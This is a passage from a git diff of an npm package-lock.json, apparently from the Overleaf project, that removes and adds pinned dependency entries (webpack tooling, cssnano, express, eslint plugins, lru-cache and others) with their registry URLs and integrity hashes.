"valid-url": "^1.0.9", +- "webpack": "^5.71.0", +- "webpack-assets-manifest": "^5.1.0", +- "webpack-cli": "^4.9.2", +- "webpack-dev-server": "^4.7.4", +- "webpack-merge": "^5.8.0", +- "worker-loader": "^3.0.8", +- "xml-crypto": "^2.1.2", +- "xml2js": "^0.4.22", +- "xregexp": "^4.3.0", +- "yauzl": "^2.10.0", +- "yup": "^0.32.11" +- }, +- "dependencies": { +- "@hapi/address": { +- "version": "2.1.4", +- "resolved": "https://registry.npmjs.org/@hapi/address/-/address-2.1.4.tgz", +- "integrity": "sha512-QD1PhQk+s31P1ixsX0H0Suoupp3VMXzIVMSwobR3F3MSUO2YCV0B7xqLcUw/Bh8yuvd3LhpyqLQWTNcRmp6IdQ==" +- }, +- "@hapi/joi": { +- "version": "15.1.1", +- "resolved": "https://registry.npmjs.org/@hapi/joi/-/joi-15.1.1.tgz", +- "integrity": "sha512-entf8ZMOK8sc+8YfeOlM8pCfg3b5+WZIKBfUaaJT8UsjAAPjartzxIYm3TIbjvA4u+u++KbcXD38k682nVHDAQ==", +- "requires": { +- "@hapi/address": "2.x.x", +- "@hapi/bourne": "1.x.x", +- "@hapi/hoek": "8.x.x", +- "@hapi/topo": "3.x.x" +- } +- }, +- "@hapi/topo": { +- "version": "3.1.6", +- "resolved": "https://registry.npmjs.org/@hapi/topo/-/topo-3.1.6.tgz", +- "integrity": "sha512-tAag0jEcjwH+P2quUfipd7liWCNX2F8NvYjQp2wtInsZxnMlypdw0FtAOLxtvvkO+GSRRbmNi8m/5y42PQJYCQ==", +- "requires": { +- "@hapi/hoek": "^8.3.0" +- } +- }, +- "@replit/codemirror-emacs": { +- "version": "git+ssh://git@github.com/overleaf/codemirror-emacs.git#8640addc01bbe99fec0144993d012b6dfc57d6e2", +- "integrity": "sha512-qtSe/u/3zai4G2bSwpL7DTfZK/uHViCiAcokqOe+FXKhCLHtrzs5VVgpMwK1JUHLwxo0lpSB4Hkz3epP6K2axw==", +- "from": "@replit/codemirror-emacs@overleaf/codemirror-emacs#8640addc01bbe99fec0144993d012b6dfc57d6e2", +- "requires": {} +- }, +- "@sinonjs/formatio": { +- "version": "3.2.2", +- "resolved": "https://registry.npmjs.org/@sinonjs/formatio/-/formatio-3.2.2.tgz", +- "integrity": "sha512-B8SEsgd8gArBLMD6zpRw3juQ2FVSsmdd7qlevyDqzS9WTCtvF55/gAL+h6gue8ZvPYcdiPdvueM/qm//9XzyTQ==", +- "dev": true, +- "requires": { +- "@sinonjs/commons": "^1", +- "@sinonjs/samsam": "^3.1.0" +- } +- }, +- "@sinonjs/samsam": { +- "version": "3.3.3", +- "resolved": "https://registry.npmjs.org/@sinonjs/samsam/-/samsam-3.3.3.tgz", +- "integrity": "sha512-bKCMKZvWIjYD0BLGnNrxVuw4dkWCYsLqFOUWw8VgKF/+5Y+mE7LfHWPIYoDXowH+3a9LsWDMo0uAP8YDosPvHQ==", +- "dev": true, +- "requires": { +- "@sinonjs/commons": "^1.3.0", +- "array-from": "^2.1.1", +- "lodash": "^4.17.15" +- } +- }, +- "@uppy/utils": { +- "version": "4.0.7", +- "resolved": "https://registry.npmjs.org/@uppy/utils/-/utils-4.0.7.tgz", +- "integrity": "sha512-nKViMT8XchKy+NWpb3DtVKuzZBmW7au26LrMq89EsvTwIOT6UR9+7bmz/+zr3+lc7UC7vMgNChIC6G+/Ya9wWQ==", +- "requires": { +- "lodash.throttle": "^4.1.1" +- } ++ "lolex": { ++ "version": "4.2.0", ++ "resolved": "https://registry.npmjs.org/lolex/-/lolex-4.2.0.tgz", ++ "integrity": "sha512-gKO5uExCXvSm6zbF562EvM+rd1kQDnB9AZBbiQVzf1ZmdDpxUSvpnAaVOP83N/31mRK8Ml8/VE8DMvsAZQ+7wg==", ++ "dev": true + }, +- "ansi-styles": { +- "version": "4.3.0", +- "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", +- "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", +- "dev": true, +- "requires": { +- "color-convert": "^2.0.1" +- } ++ "lru-cache": { ++ "version": "7.10.1", ++ "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-7.10.1.tgz", ++ "integrity": "sha512-BQuhQxPuRl79J5zSXRP+uNzPOyZw2oFI9JLRQ80XswSvg21KMKNtQza9eF42rfI/3Z40RvzBdXgziEkudzjo8A==" + }, +- "array-union": { +- "version": "3.0.1", +- "resolved": "https://registry.npmjs.org/array-union/-/array-union-3.0.1.tgz", +- "integrity": "sha512-1OvF9IbWwaeiM9VhzYXVQacMibxpXOMYVNIvMtKRyX9SImBXpKcFr8XvFDeEslCyuH/t6KRt7HEO94AlP8Iatw==", ++ "mdn-data": { ++ "version": "2.0.14", ++ "resolved": "https://registry.npmjs.org/mdn-data/-/mdn-data-2.0.14.tgz", ++ "integrity": "sha512-dn6wd0uw5GsdswPFfsgMp5NSB0/aDe6fK94YJV/AJDYXL6HVLWBsxeq7js7Ad+mU2K9LAlwpk6kN2D5mwCPVow==", + "dev": true + }, +- "body-parser": { +- "version": "1.19.0", +- "resolved": "https://registry.npmjs.org/body-parser/-/body-parser-1.19.0.tgz", +- "integrity": "sha512-dhEPs72UPbDnAQJ9ZKMNTP6ptJaionhP5cBb541nXPlW60Jepo9RV/a4fX4XWW9CuFNK22krhrj1+rgzifNCsw==", ++ "method-override": { ++ "version": "2.3.10", ++ "resolved": "https://registry.npmjs.org/method-override/-/method-override-2.3.10.tgz", ++ "integrity": "sha1-49r41d7hDdLc59SuiNYrvud0drQ=", + "requires": { +- "bytes": "3.1.0", +- "content-type": "~1.0.4", + "debug": "2.6.9", +- "depd": "~1.1.2", +- "http-errors": "1.7.2", +- "iconv-lite": "0.4.24", +- "on-finished": "~2.3.0", +- "qs": "6.7.0", +- "raw-body": "2.4.0", +- "type-is": "~1.6.17" ++ "methods": "~1.1.2", ++ "parseurl": "~1.3.2", ++ "vary": "~1.1.2" + }, + "dependencies": { + "debug": { +@@ -43002,114 +35052,18 @@ + } + } + }, +- "bytes": { +- "version": "3.1.0", +- "resolved": "https://registry.npmjs.org/bytes/-/bytes-3.1.0.tgz", +- "integrity": "sha512-zauLjrfCG+xvoyaqLoV8bLVXXNGC4JqlxFCutSDWA6fJrTo2ZuvLYTqZ7aHBLZSMOopbzwv8f+wZcVzfVTI2Dg==" +- }, +- "celebrate": { +- "version": "10.1.0", +- "resolved": "https://registry.npmjs.org/celebrate/-/celebrate-10.1.0.tgz", +- "integrity": "sha512-Ybkb+/mek6nl4HZljFGUtma8r1Dq0ClYiHf5RVV3msoDFRsJlAFIR8J6+dKwL4EhgihIPFdBOMc6KFO9izMA9g==", +- "requires": { +- "@hapi/joi": "15.x.x", +- "escape-html": "1.0.3", +- "lodash.get": "4.4.x" +- } +- }, +- "chalk": { +- "version": "4.1.2", +- "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", +- "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", +- "dev": true, +- "requires": { +- "ansi-styles": "^4.1.0", +- "supports-color": "^7.1.0" +- } +- }, +- "commander": { +- "version": "7.2.0", +- "resolved": "https://registry.npmjs.org/commander/-/commander-7.2.0.tgz", +- "integrity": "sha512-QrWXB+ZQSVPmIWIhtEO9H+gwHaMGYiF5ChvoJ+K9ZGHG/sVsa6yiesAD1GC/x46sET00Xlwo1u49RVVVzvcSkw==", +- "dev": true +- }, +- "concat-stream": { +- "version": "1.6.2", +- "resolved": "https://registry.npmjs.org/concat-stream/-/concat-stream-1.6.2.tgz", +- "integrity": "sha512-27HBghJxjiZtIk3Ycvn/4kbJk/1uZuJFfuPEns6LaEvpvG1f0hTea8lilrouyo9mVc2GWdcEZ8OLoGmSADlrCw==", +- "requires": { +- "buffer-from": "^1.0.0", +- "inherits": "^2.0.3", +- "readable-stream": "^2.2.2", +- "typedarray": "^0.0.6" +- }, +- "dependencies": { +- "readable-stream": { +- "version": "2.3.7", +- "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.7.tgz", +- "integrity": "sha512-Ebho8K4jIbHAxnuxi7o42OrZgF/ZTNcsZj6nRKyUmkhLFq8CHItp/fy6hQZuZmP/n3yZ9VBUbp4zz/mX8hmYPw==", +- "requires": { +- "core-util-is": "~1.0.0", +- "inherits": "~2.0.3", +- "isarray": "~1.0.0", +- "process-nextick-args": "~2.0.0", +- "safe-buffer": "~5.1.1", +- "string_decoder": "~1.1.1", +- "util-deprecate": "~1.0.1" +- } +- } +- } +- }, +- "connect-redis": { +- "version": "3.4.2", +- "resolved": "https://registry.npmjs.org/connect-redis/-/connect-redis-3.4.2.tgz", +- "integrity": "sha512-ozA1Z0GDnsCJECfNyNJOqPuW3Fk43fUbKC65Sa/V9hkCBNtXsFU2xtTOVsQGUsflpywuJMgGOV4xrnKzIPFqvA==", +- "requires": { +- "debug": "^4.1.1", +- "redis": "^2.8.0" +- } +- }, +- "content-disposition": { +- "version": "0.5.3", +- "resolved": "https://registry.npmjs.org/content-disposition/-/content-disposition-0.5.3.tgz", +- "integrity": "sha512-ExO0774ikEObIAEV9kDo50o+79VCUdEB6n6lzKgGwupcVeRlhrj3qGAfwq8G6uBJjkqLrhT0qEYFcWng8z1z0g==", +- "requires": { +- "safe-buffer": "5.1.2" +- } +- }, +- "cookie-parser": { +- "version": "1.3.5", +- "resolved": "https://registry.npmjs.org/cookie-parser/-/cookie-parser-1.3.5.tgz", +- "integrity": "sha1-nXVVcPtdF4kHcSJ6AjFNm+fPg1Y=", +- "requires": { +- "cookie": "0.1.3", +- "cookie-signature": "1.0.6" +- }, +- "dependencies": { +- "cookie": { +- "version": "0.1.3", +- "resolved": "https://registry.npmjs.org/cookie/-/cookie-0.1.3.tgz", +- "integrity": "sha1-5zSlwUF/zkctWu+Cw4HKu2TRpDU=" +- } +- } +- }, +- "cookie-signature": { +- "version": "1.0.6", +- "resolved": "https://registry.npmjs.org/cookie-signature/-/cookie-signature-1.0.6.tgz", +- "integrity": "sha1-4wOogrNCzD7oylE6eZmXNNqzriw=" ++ "mime": { ++ "version": "1.6.0", ++ "resolved": "https://registry.npmjs.org/mime/-/mime-1.6.0.tgz", ++ "integrity": "sha512-x0Vn8spI+wuJ1O6S7gnbaQg8Pxh4NNHb7KSINmEWKiPE4RKOplvijn+NkmYmmRgP68mc70j2EbeTFRsrswaQeg==" + }, +- "copy-webpack-plugin": { +- "version": "10.2.4", +- "resolved": "https://registry.npmjs.org/copy-webpack-plugin/-/copy-webpack-plugin-10.2.4.tgz", +- "integrity": "sha512-xFVltahqlsRcyyJqQbDY6EYTtyQZF9rf+JPjwHObLdPFMEISqkFkr7mFoVOC6BfYS/dNThyoQKvziugm+OnwBg==", ++ "mini-css-extract-plugin": { ++ "version": "2.6.0", ++ "resolved": "https://registry.npmjs.org/mini-css-extract-plugin/-/mini-css-extract-plugin-2.6.0.tgz", ++ "integrity": "sha512-ndG8nxCEnAemsg4FSgS+yNyHKgkTB4nPKqCOgh65j3/30qqC5RaSQQXMm++Y6sb6E1zRSxPkztj9fqxhS1Eo6w==", + "dev": true, + "requires": { +- "fast-glob": "^3.2.7", +- "glob-parent": "^6.0.1", +- "globby": "^12.0.2", +- "normalize-path": "^3.0.0", +- "schema-utils": "^4.0.0", +- "serialize-javascript": "^6.0.0" ++ "schema-utils": "^4.0.0" + }, + "dependencies": { + "ajv": { +@@ -43133,20 +35087,6 @@ + "fast-deep-equal": "^3.1.3" + } + }, +- "globby": { +- "version": "12.2.0", +- "resolved": "https://registry.npmjs.org/globby/-/globby-12.2.0.tgz", +- "integrity": "sha512-wiSuFQLZ+urS9x2gGPl1H5drc5twabmm4m2gTR27XDFyjUHJUNsS8o/2aKyIF6IoBaR630atdher0XJ5g6OMmA==", +- "dev": true, +- "requires": { +- "array-union": "^3.0.1", +- "dir-glob": "^3.0.1", +- "fast-glob": "^3.2.7", +- "ignore": "^5.1.9", +- "merge2": "^1.4.1", +- "slash": "^4.0.0" +- } +- }, + "schema-utils": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-4.0.0.tgz", +@@ -43161,500 +35101,10 @@ + } + } + }, +- "css-declaration-sorter": { +- "version": "6.2.2", +- "resolved": "https://registry.npmjs.org/css-declaration-sorter/-/css-declaration-sorter-6.2.2.tgz", +- "integrity": "sha512-Ufadglr88ZLsrvS11gjeu/40Lw74D9Am/Jpr3LlYm5Q4ZP5KdlUhG+6u2EjyXeZcxmZ2h1ebCKngDjolpeLHpg==", +- "dev": true, +- "requires": {} +- }, +- "css-loader": { +- "version": "6.7.1", +- "resolved": "https://registry.npmjs.org/css-loader/-/css-loader-6.7.1.tgz", +- "integrity": "sha512-yB5CNFa14MbPJcomwNh3wLThtkZgcNyI2bNMRt8iE5Z8Vwl7f8vQXFAzn2HDOJvtDq2NTZBUGMSUNNyrv3/+cw==", +- "dev": true, +- "requires": { +- "icss-utils": "^5.1.0", +- "postcss": "^8.4.7", +- "postcss-modules-extract-imports": "^3.0.0", +- "postcss-modules-local-by-default": "^4.0.0", +- "postcss-modules-scope": "^3.0.0", +- "postcss-modules-values": "^4.0.0", +- "postcss-value-parser": "^4.2.0", +- "semver": "^7.3.5" +- }, +- "dependencies": { +- "lru-cache": { +- "version": "6.0.0", +- "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-6.0.0.tgz", +- "integrity": "sha512-Jo6dJ04CmSjuznwJSS3pUeWmd/H0ffTlkXXgwZi+eq1UCmqQwCh+eLsYOYCwY991i2Fah4h1BEMCx4qThGbsiA==", +- "dev": true, +- "requires": { +- "yallist": "^4.0.0" +- } +- }, +- "semver": { +- "version": "7.3.5", +- "resolved": "https://registry.npmjs.org/semver/-/semver-7.3.5.tgz", +- "integrity": "sha512-PoeGJYh8HK4BTO/a9Tf6ZG3veo/A7ZVsYrSA6J8ny9nb3B1VrpkuN+z9OE5wfE5p6H4LchYZsegiQgbJD94ZFQ==", +- "dev": true, +- "requires": { +- "lru-cache": "^6.0.0" +- } +- } +- } +- }, +- "css-minimizer-webpack-plugin": { +- "version": "3.4.1", +- "resolved": "https://registry.npmjs.org/css-minimizer-webpack-plugin/-/css-minimizer-webpack-plugin-3.4.1.tgz", +- "integrity": "sha512-1u6D71zeIfgngN2XNRJefc/hY7Ybsxd74Jm4qngIXyUEk7fss3VUzuHxLAq/R8NAba4QU9OUSaMZlbpRc7bM4Q==", +- "dev": true, +- "requires": { +- "cssnano": "^5.0.6", +- "jest-worker": "^27.0.2", +- "postcss": "^8.3.5", +- "schema-utils": "^4.0.0", +- "serialize-javascript": "^6.0.0", +- "source-map": "^0.6.1" +- }, +- "dependencies": { +- "ajv": { +- "version": "8.11.0", +- "resolved": "https://registry.npmjs.org/ajv/-/ajv-8.11.0.tgz", +- "integrity": "sha512-wGgprdCvMalC0BztXvitD2hC04YffAvtsUn93JbGXYLAtCUO4xd17mCCZQxUOItiBwZvJScWo8NIvQMQ71rdpg==", +- "dev": true, +- "requires": { +- "fast-deep-equal": "^3.1.1", +- "json-schema-traverse": "^1.0.0", +- "require-from-string": "^2.0.2", +- "uri-js": "^4.2.2" +- } +- }, +- "ajv-keywords": { +- "version": "5.1.0", +- "resolved": "https://registry.npmjs.org/ajv-keywords/-/ajv-keywords-5.1.0.tgz", +- "integrity": "sha512-YCS/JNFAUyr5vAuhk1DWm1CBxRHW9LbJ2ozWeemrIqpbsqKjHVxYPyi5GC0rjZIT5JxJ3virVTS8wk4i/Z+krw==", +- "dev": true, +- "requires": { +- "fast-deep-equal": "^3.1.3" +- } +- }, +- "schema-utils": { +- "version": "4.0.0", +- "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-4.0.0.tgz", +- "integrity": "sha512-1edyXKgh6XnJsJSQ8mKWXnN/BVaIbFMLpouRUrXgVq7WYne5kw3MW7UPhO44uRXQSIpTSXoJbmrR2X0w9kUTyg==", +- "dev": true, +- "requires": { +- "@types/json-schema": "^7.0.9", +- "ajv": "^8.8.0", +- "ajv-formats": "^2.1.1", +- "ajv-keywords": "^5.0.0" +- } +- } +- } +- }, +- "css-tree": { +- "version": "1.1.3", +- "resolved": "https://registry.npmjs.org/css-tree/-/css-tree-1.1.3.tgz", +- "integrity": "sha512-tRpdppF7TRazZrjJ6v3stzv93qxRcSsFmW6cX0Zm2NVKpxE1WV1HblnghVv9TreireHkqI/VDEsfolRF1p6y7Q==", +- "dev": true, +- "requires": { +- "mdn-data": "2.0.14", +- "source-map": "^0.6.1" +- } +- }, +- "cssnano": { +- "version": "5.1.7", +- "resolved": "https://registry.npmjs.org/cssnano/-/cssnano-5.1.7.tgz", +- "integrity": "sha512-pVsUV6LcTXif7lvKKW9ZrmX+rGRzxkEdJuVJcp5ftUjWITgwam5LMZOgaTvUrWPkcORBey6he7JKb4XAJvrpKg==", +- "dev": true, +- "requires": { +- "cssnano-preset-default": "^5.2.7", +- "lilconfig": "^2.0.3", +- "yaml": "^1.10.2" +- } +- }, +- "cssnano-preset-default": { +- "version": "5.2.7", +- "resolved": "https://registry.npmjs.org/cssnano-preset-default/-/cssnano-preset-default-5.2.7.tgz", +- "integrity": "sha512-JiKP38ymZQK+zVKevphPzNSGHSlTI+AOwlasoSRtSVMUU285O7/6uZyd5NbW92ZHp41m0sSHe6JoZosakj63uA==", +- "dev": true, +- "requires": { +- "css-declaration-sorter": "^6.2.2", +- "cssnano-utils": "^3.1.0", +- "postcss-calc": "^8.2.3", +- "postcss-colormin": "^5.3.0", +- "postcss-convert-values": "^5.1.0", +- "postcss-discard-comments": "^5.1.1", +- "postcss-discard-duplicates": "^5.1.0", +- "postcss-discard-empty": "^5.1.1", +- "postcss-discard-overridden": "^5.1.0", +- "postcss-merge-longhand": "^5.1.4", +- "postcss-merge-rules": "^5.1.1", +- "postcss-minify-font-values": "^5.1.0", +- "postcss-minify-gradients": "^5.1.1", +- "postcss-minify-params": "^5.1.2", +- "postcss-minify-selectors": "^5.2.0", +- "postcss-normalize-charset": "^5.1.0", +- "postcss-normalize-display-values": "^5.1.0", +- "postcss-normalize-positions": "^5.1.0", +- "postcss-normalize-repeat-style": "^5.1.0", +- "postcss-normalize-string": "^5.1.0", +- "postcss-normalize-timing-functions": "^5.1.0", +- "postcss-normalize-unicode": "^5.1.0", +- "postcss-normalize-url": "^5.1.0", +- "postcss-normalize-whitespace": "^5.1.1", +- "postcss-ordered-values": "^5.1.1", +- "postcss-reduce-initial": "^5.1.0", +- "postcss-reduce-transforms": "^5.1.0", +- "postcss-svgo": "^5.1.0", +- "postcss-unique-selectors": "^5.1.1" +- } +- }, +- "cssnano-utils": { +- "version": "3.1.0", +- "resolved": "https://registry.npmjs.org/cssnano-utils/-/cssnano-utils-3.1.0.tgz", +- "integrity": "sha512-JQNR19/YZhz4psLX/rQ9M83e3z2Wf/HdJbryzte4a3NSuafyp9w/I4U+hx5C2S9g41qlstH7DEWnZaaj83OuEA==", +- "dev": true, +- "requires": {} +- }, +- "diff": { +- "version": "3.5.0", +- "resolved": "https://registry.npmjs.org/diff/-/diff-3.5.0.tgz", +- "integrity": "sha512-A46qtFgd+g7pDZinpnwiRJtxbC1hpgf0uzP3iG89scHk0AUC7A1TGxf5OiiOUv/JMZR8GOt8hL900hV0bOy5xA==", +- "dev": true +- }, +- "emoji-regex": { +- "version": "9.2.2", +- "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-9.2.2.tgz", +- "integrity": "sha512-L18DaJsXSUk2+42pv8mLs5jJT2hqFkFE4j21wOmgbUqsZ2hL72NsUU785g9RXgo3s0ZNgVl42TiHp3ZtOv/Vyg==", +- "dev": true +- }, +- "eslint-config-standard-jsx": { +- "version": "11.0.0-0", +- "resolved": "https://registry.npmjs.org/eslint-config-standard-jsx/-/eslint-config-standard-jsx-11.0.0-0.tgz", +- "integrity": "sha512-KF2HkJoiMH7j9QCLC2OFgE+xfWRXnVpTZzombqdRtOkp6DBGLfGvvonl7AzEbWIxgjOiHkuw+lmYPz5cN2+kJA==", +- "dev": true, +- "requires": {} +- }, +- "eslint-plugin-jsx-a11y": { +- "version": "6.5.1", +- "resolved": "https://registry.npmjs.org/eslint-plugin-jsx-a11y/-/eslint-plugin-jsx-a11y-6.5.1.tgz", +- "integrity": "sha512-sVCFKX9fllURnXT2JwLN5Qgo24Ug5NF6dxhkmxsMEUZhXRcGg+X3e1JbJ84YePQKBl5E0ZjAH5Q4rkdcGY99+g==", +- "dev": true, +- "requires": { +- "@babel/runtime": "^7.16.3", +- "aria-query": "^4.2.2", +- "array-includes": "^3.1.4", +- "ast-types-flow": "^0.0.7", +- "axe-core": "^4.3.5", +- "axobject-query": "^2.2.0", +- "damerau-levenshtein": "^1.0.7", +- "emoji-regex": "^9.2.2", +- "has": "^1.0.3", +- "jsx-ast-utils": "^3.2.1", +- "language-tags": "^1.0.5", +- "minimatch": "^3.0.4" +- } +- }, +- "eslint-plugin-react": { +- "version": "7.28.0", +- "resolved": "https://registry.npmjs.org/eslint-plugin-react/-/eslint-plugin-react-7.28.0.tgz", +- "integrity": "sha512-IOlFIRHzWfEQQKcAD4iyYDndHwTQiCMcJVJjxempf203jnNLUnW34AXLrV33+nEXoifJE2ZEGmcjKPL8957eSw==", +- "dev": true, +- "requires": { +- "array-includes": "^3.1.4", +- "array.prototype.flatmap": "^1.2.5", +- "doctrine": "^2.1.0", +- "estraverse": "^5.3.0", +- "jsx-ast-utils": "^2.4.1 || ^3.0.0", +- "minimatch": "^3.0.4", +- "object.entries": "^1.1.5", +- "object.fromentries": "^2.0.5", +- "object.hasown": "^1.1.0", +- "object.values": "^1.1.5", +- "prop-types": "^15.7.2", +- "resolve": "^2.0.0-next.3", +- "semver": "^6.3.0", +- "string.prototype.matchall": "^4.0.6" +- }, +- "dependencies": { +- "doctrine": { +- "version": "2.1.0", +- "resolved": "https://registry.npmjs.org/doctrine/-/doctrine-2.1.0.tgz", +- "integrity": "sha512-35mSku4ZXK0vfCuHEDAwt55dg2jNajHZ1odvF+8SSr82EsZY4QmXfuWso8oEd8zRhVObSN18aM0CjSdoBX7zIw==", +- "dev": true, +- "requires": { +- "esutils": "^2.0.2" +- } +- } +- } +- }, +- "eslint-plugin-react-hooks": { +- "version": "4.3.0", +- "resolved": "https://registry.npmjs.org/eslint-plugin-react-hooks/-/eslint-plugin-react-hooks-4.3.0.tgz", +- "integrity": "sha512-XslZy0LnMn+84NEG9jSGR6eGqaZB3133L8xewQo3fQagbQuGt7a63gf+P1NGKZavEYEC3UXaWEAA/AqDkuN6xA==", +- "dev": true, +- "requires": {} +- }, +- "events": { +- "version": "3.3.0", +- "resolved": "https://registry.npmjs.org/events/-/events-3.3.0.tgz", +- "integrity": "sha512-mQw+2fkQbALzQ7V0MY0IqdnXNOeTtP4r0lN9z7AAawCXgqea7bDii20AYrIBrFd/Hx0M2Ocz6S111CaFkUcb0Q==" +- }, +- "expose-loader": { +- "version": "3.1.0", +- "resolved": "https://registry.npmjs.org/expose-loader/-/expose-loader-3.1.0.tgz", +- "integrity": "sha512-2RExSo0yJiqP+xiUue13jQa2IHE8kLDzTI7b6kn+vUlBVvlzNSiLDzo4e5Pp5J039usvTUnxZ8sUOhv0Kg15NA==", +- "dev": true, +- "requires": {} +- }, +- "express": { +- "version": "4.17.1", +- "resolved": "https://registry.npmjs.org/express/-/express-4.17.1.tgz", +- "integrity": "sha512-mHJ9O79RqluphRrcw2X/GTh3k9tVv8YcoyY4Kkh4WDMUYKRZUq0h1o0w2rrrxBqM7VoeUVqgb27xlEMXTnYt4g==", +- "requires": { +- "accepts": "~1.3.7", +- "array-flatten": "1.1.1", +- "body-parser": "1.19.0", +- "content-disposition": "0.5.3", +- "content-type": "~1.0.4", +- "cookie": "0.4.0", +- "cookie-signature": "1.0.6", +- "debug": "2.6.9", +- "depd": "~1.1.2", +- "encodeurl": "~1.0.2", +- "escape-html": "~1.0.3", +- "etag": "~1.8.1", +- "finalhandler": "~1.1.2", +- "fresh": "0.5.2", +- "merge-descriptors": "1.0.1", +- "methods": "~1.1.2", +- "on-finished": "~2.3.0", +- "parseurl": "~1.3.3", +- "path-to-regexp": "0.1.7", +- "proxy-addr": "~2.0.5", +- "qs": "6.7.0", +- "range-parser": "~1.2.1", +- "safe-buffer": "5.1.2", +- "send": "0.17.1", +- "serve-static": "1.14.1", +- "setprototypeof": "1.1.1", +- "statuses": "~1.5.0", +- "type-is": "~1.6.18", +- "utils-merge": "1.0.1", +- "vary": "~1.1.2" +- }, +- "dependencies": { +- "cookie": { +- "version": "0.4.0", +- "resolved": "https://registry.npmjs.org/cookie/-/cookie-0.4.0.tgz", +- "integrity": "sha512-+Hp8fLp57wnUSt0tY0tHEXh4voZRDnoIrZPqlo3DPiI4y9lwg/jqx+1Om94/W6ZaPDOUbnjOt/99w66zk+l1Xg==" +- }, +- "debug": { +- "version": "2.6.9", +- "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", +- "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", +- "requires": { +- "ms": "2.0.0" +- } +- }, +- "ms": { +- "version": "2.0.0", +- "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", +- "integrity": "sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g=" +- } +- } +- }, +- "fs-extra": { +- "version": "4.0.3", +- "resolved": "https://registry.npmjs.org/fs-extra/-/fs-extra-4.0.3.tgz", +- "integrity": "sha512-q6rbdDd1o2mAnQreO7YADIxf/Whx4AHBiRf6d+/cVT8h44ss+lHgxf1FemcqDnQt9X3ct4McHr+JMGlYSsK7Cg==", +- "requires": { +- "graceful-fs": "^4.1.2", +- "jsonfile": "^4.0.0", +- "universalify": "^0.1.0" +- } +- }, +- "glob-parent": { +- "version": "6.0.2", +- "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-6.0.2.tgz", +- "integrity": "sha512-XxwI8EOhVQgWp6iDL+3b0r86f4d6AX6zSU55HfB4ydCEuXLXc5FcYeOu+nnGftS4TEju/11rt4KJPTMgbfmv4A==", +- "dev": true, +- "requires": { +- "is-glob": "^4.0.3" +- } +- }, +- "http-errors": { +- "version": "1.7.2", +- "resolved": "https://registry.npmjs.org/http-errors/-/http-errors-1.7.2.tgz", +- "integrity": "sha512-uUQBt3H/cSIVfch6i1EuPNy/YsRSOUBXTVfZ+yR7Zjez3qjBz6i9+i4zjNaoqcoFVI4lQJ5plg63TvGfRSDCRg==", +- "requires": { +- "depd": "~1.1.2", +- "inherits": "2.0.3", +- "setprototypeof": "1.1.1", +- "statuses": ">= 1.5.0 < 2", +- "toidentifier": "1.0.0" +- } +- }, +- "icss-utils": { +- "version": "5.1.0", +- "resolved": "https://registry.npmjs.org/icss-utils/-/icss-utils-5.1.0.tgz", +- "integrity": "sha512-soFhflCVWLfRNOPU3iv5Z9VUdT44xFRbzjLsEzSr5AQmgqPMTHdU3PMT1Cf1ssx8fLNJDA1juftYl+PUcv3MqA==", +- "dev": true, +- "requires": {} +- }, +- "inherits": { +- "version": "2.0.3", +- "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.3.tgz", +- "integrity": "sha1-Yzwsg+PaQqUC9SRmAiSA9CCCYd4=" +- }, +- "isarray": { +- "version": "1.0.0", +- "resolved": "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz", +- "integrity": "sha1-u5NdSFgsuhaMBoNJV6VKPgcSTxE=" +- }, +- "json-schema-traverse": { +- "version": "1.0.0", +- "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-1.0.0.tgz", +- "integrity": "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug==", +- "dev": true +- }, +- "jsonfile": { +- "version": "4.0.0", +- "resolved": "https://registry.npmjs.org/jsonfile/-/jsonfile-4.0.0.tgz", +- "integrity": "sha1-h3Gq4HmbZAdrdmQPygWPnBDjPss=", +- "requires": { +- "graceful-fs": "^4.1.6" +- } +- }, +- "karma-webpack": { +- "version": "5.0.0", +- "resolved": "https://registry.npmjs.org/karma-webpack/-/karma-webpack-5.0.0.tgz", +- "integrity": "sha512-+54i/cd3/piZuP3dr54+NcFeKOPnys5QeM1IY+0SPASwrtHsliXUiCL50iW+K9WWA7RvamC4macvvQ86l3KtaA==", +- "dev": true, +- "requires": { +- "glob": "^7.1.3", +- "minimatch": "^3.0.4", +- "webpack-merge": "^4.1.5" +- }, +- "dependencies": { +- "webpack-merge": { +- "version": "4.2.2", +- "resolved": "https://registry.npmjs.org/webpack-merge/-/webpack-merge-4.2.2.tgz", +- "integrity": "sha512-TUE1UGoTX2Cd42j3krGYqObZbOD+xF7u28WB7tfUordytSjbWTIjK/8V0amkBfTYN4/pB/GIDlJZZ657BGG19g==", +- "dev": true, +- "requires": { +- "lodash": "^4.17.15" +- } +- } +- } +- }, +- "less-loader": { +- "version": "10.2.0", +- "resolved": "https://registry.npmjs.org/less-loader/-/less-loader-10.2.0.tgz", +- "integrity": "sha512-AV5KHWvCezW27GT90WATaDnfXBv99llDbtaj4bshq6DvAihMdNjaPDcUMa6EXKLRF+P2opFenJp89BXg91XLYg==", +- "dev": true, +- "requires": { +- "klona": "^2.0.4" +- } +- }, +- "lolex": { +- "version": "4.2.0", +- "resolved": 